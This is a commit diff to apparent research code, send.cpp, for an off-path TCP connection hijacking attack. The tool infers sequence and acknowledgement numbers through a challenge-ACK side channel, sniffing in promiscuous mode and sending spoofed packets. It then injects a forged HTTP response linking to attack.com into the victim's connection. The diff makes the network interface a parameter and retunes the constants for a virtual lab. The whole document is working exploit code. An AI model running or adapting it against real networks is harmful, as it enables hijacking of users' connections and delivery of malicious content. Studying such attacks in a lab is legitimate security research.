added client side attack env to virtual lab and server side tcp

client-side-attack/third_phase/send.cpp

@@ -31,7 +31,7 @@ bool show = false;
 bool testing = true; // if using netcat set to true, else false
 int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
 
-std::string victim_wlan_addr, dest_ip, remote_addr;
+std::string victim_wlan_addr, dest_ip, remote_addr, interface;
 int sport, dport, request_size, chack_count;
 
 
@@ -47,10 +47,13 @@ void print_divider(int count) {
   }
 }
 
+// Injects a malicious payload with the exact seq
+// and in-window ack inferred before
+//
 int inject_junk(long exact_seq, long in_win_ack) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>";
 
@@ -81,7 +84,7 @@ int inject_junk(long exact_seq, long in_win_ack) {
 bool rechack(long seq, long ack, int num_checks) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
   count_chacks = true;
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
@@ -104,7 +107,7 @@ bool rechack(long seq, long ack, int num_checks) {
   while (count < num_checks) {
     sender.send(pkt, iface);
     num_sent ++;
-    usleep(1000000 / 2 * 1.2); // must sleep half second due to chack rate limit
+    usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
     count ++;
   }
 
@@ -131,7 +134,7 @@ bool rechack(long seq, long ack, int num_checks) {
 long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
   TCP& tcp = pkt.rfind_pdu<TCP>();
@@ -190,10 +193,10 @@ long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) {
 long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   // Loop over ack space sending empty push-acks
-  // that user the in window sequence number found before
+  // that use the in window sequence number found before
   //
 
   EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU("");;
@@ -213,7 +216,7 @@ long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size
   best_ack = 0;
 
 
-  while (j > min_ack && chack_count < chack_trigs) { // was && !sniffed_chack
+  while (j > min_ack && chack_count < chack_trigs) { 
     usleep(send_delay);
 
     tcp.ack_seq(j);
@@ -309,7 +312,7 @@ long quack_spread(long in_win_seq) {
 long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   long max_seq = top_seq;
   long adder = prev_block_size * delay_mult;
@@ -352,7 +355,7 @@ bool handle_packet(PDU &some_pdu) {
       const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
       //cout << payload << "\n";
 
-      if (payload == 79) { // each triggered chall-ack is 79 length SSL vs ovpn and ubuntu 19
+      if (payload == 115) { // each triggered chall-ack is 115 length SSL 
         if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n";
         if (count_chacks) chack_count += 1;
         if (track_nums) possible_acks.push_back(current_spoof_ack);
@@ -380,9 +383,8 @@ bool handle_packet(PDU &some_pdu) {
 
       const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
       //cout << payload << "\n";
-      const int remainder = payload % 67;
 
-      if (payload == 79) { 
+      if (payload == 115) { // each triggered chall-ack is 115 length SSL
 
         if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n";
 
@@ -417,10 +419,12 @@ bool handle_packet(PDU &some_pdu) {
   return true;
 }
 
+
+
 void sniff_stuff() {
   SnifferConfiguration config;
   config.set_promisc_mode(true);
-  Sniffer sniffer("wlp1s0", config);
+  Sniffer sniffer(interface, config);
   sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
 }
 
@@ -463,7 +467,7 @@ long try_seq_block(long current_seq) {
   current_seq = best_seq;
   wait_count = 0;
 
-  long s2 = find_seq_block(1055, 20, 50, 600, current_seq); // for browser went from 300 to 600
+  long s2 = find_seq_block(1055, 20, 50, 600, current_seq); 
 
   while (best_seq == current_seq) {
     usleep(500000);
@@ -472,18 +476,18 @@ long try_seq_block(long current_seq) {
     if (wait_count > 5) return -1;
   }
 
-  return best_seq - 10000; // subtract 10k for wifi delay
+  return best_seq; 
 
 }
 
 // Gets rough estimate of sequence number in use
-// by spreading entire sequence range quicly then
+// by spreading entire sequence range quickly then
 // tries to find in win sequence using each
 //
 long find_in_win_seq() {
 
   PacketSender sender;
-  NetworkInterface iface("wlp1s0");
+  NetworkInterface iface(interface);
 
   long start_seq_guess = 1;
   long max_seq_num = 4294967295;
@@ -591,11 +595,11 @@ long find_in_win_ack(long in_win_seq) {
   track_nums = false;
 
   // clack has been consistently within 40k of next ack while testing but
-  // in practical use it needs to be less than the expected ack by at most
-  // 20k to be accepted as a valid ack, so here we add 20k to counter our delay
-  // but we could add a third ack scan to make it more accurate
+  // it needs to be less than the expected ack by at most 20k to be
+  // accepted as a valid ack, so here we add 30k to counter our delay
+  // but a third ack scan could be added to make it more accurate
   //
-  long in_win_ack = clack + 30000; // adding extra 30k for wifi delay 
+  long in_win_ack = clack + 30000; 
   return in_win_ack;
 }
 
@@ -643,12 +647,10 @@ int phase_three_spread() {
   usleep(1000000 / 2);
 
   long in_win_ack = find_in_win_ack(in_win_seq);
-  in_win_ack += 40000; // add 40k for wifi delay
 
   cout << "scanning for exact sequence num w in-win ack: " << in_win_ack << "\n";
 
-  // jump back 40 for wifi delay
-  long exact_seq = find_exact_seq(in_win_seq - 40, in_win_ack, 100000) + 1; // should be one less than left edge
+  long exact_seq = find_exact_seq(in_win_seq, in_win_ack, 100000) + 1; // should be one less than left edge
   cout << "final exact seq guess: " << exact_seq << "\n";
   cout << "total number of packets sent: " << num_sent << "\n";
   print_divider(2);
@@ -669,8 +671,8 @@ int phase_three_spread() {
 
 int main(int argc, char** argv) {
 
-  if (argc != 8) {
-    cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size)\n";
+  if (argc != 9) {
+    cout << "sike wrong number of args ---> (remote_ip, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, dport, request_size, iface)\n";
     return 0;
   }
 
@@ -681,14 +683,13 @@ int main(int argc, char** argv) {
   dest_mac = argv[5];
   dport = atoi(argv[6]);
   request_size = atoi(argv[7]);
-
+  interface = argv[8];
   thread sniff_thread(sniff_stuff);
   print_divider(2);
 
   int r = phase_three_spread();
 
   sniff_thread.detach();
-  //sniff_thread.join();
 
   return 0;
 }